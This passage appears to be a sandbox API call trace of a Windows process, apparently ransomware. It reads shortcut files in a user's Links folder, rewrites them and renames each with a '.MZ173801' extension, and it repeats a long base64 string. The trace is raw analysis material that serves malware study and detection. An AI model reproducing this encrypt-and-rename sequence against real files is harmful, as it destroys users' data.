ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1d3)) returned 1 [0144.632] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.632] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.634] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\Desktop.lnk" (normalized: "c:\\users\\default\\links\\desktop.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a4 [0144.634] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.634] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.634] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x1d3 [0144.635] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.635] ReadFile (in: hFile=0x2a4, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x1d3, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f6c4*=0x1d3, lpOverlapped=0x0) returned 1 [0144.636] CloseHandle (hObject=0x2a4) returned 1 [0144.636] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\Desktop.lnk" (normalized: "c:\\users\\default\\links\\desktop.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a4 [0144.637] WriteFile (in: hFile=0x2a4, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x1d3, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f6d0*=0x1d3, lpOverlapped=0x0) returned 1 [0144.638] CloseHandle (hObject=0x2a4) returned 1 [0144.638] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Links\\Desktop.lnk" (normalized: "c:\\users\\default\\links\\desktop.lnk"), lpNewFileName="C:\\Users\\Default\\Links\\Desktop.lnk.MZ173801" (normalized: "c:\\users\\default\\links\\desktop.lnk.mz173801")) returned 1 [0144.639] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.639] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.639] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links\\Downloads.lnk" (normalized: "c:\\users\\default\\links\\downloads.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1 [0144.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.644] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\Downloads.lnk" (normalized: "c:\\users\\default\\links\\downloads.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a4 [0144.644] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.644] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.644] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x37e [0144.644] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.644] ReadFile (in: hFile=0x2a4, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f6c4*=0x37e, lpOverlapped=0x0) returned 1 [0144.661] CloseHandle (hObject=0x2a4) returned 1 [0144.662] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\Downloads.lnk" (normalized: "c:\\users\\default\\links\\downloads.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a4 [0144.663] WriteFile (in: hFile=0x2a4, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f6d0*=0x37e, lpOverlapped=0x0) returned 1 [0144.664] CloseHandle (hObject=0x2a4) returned 1 [0144.664] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Links\\Downloads.lnk" (normalized: "c:\\users\\default\\links\\downloads.lnk"), lpNewFileName="C:\\Users\\Default\\Links\\Downloads.lnk.MZ173801" (normalized: "c:\\users\\default\\links\\downloads.lnk.mz173801")) returned 1 [0144.665] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.665] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.665] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\default\\links\\recentplaces.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b)) returned 1 [0144.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5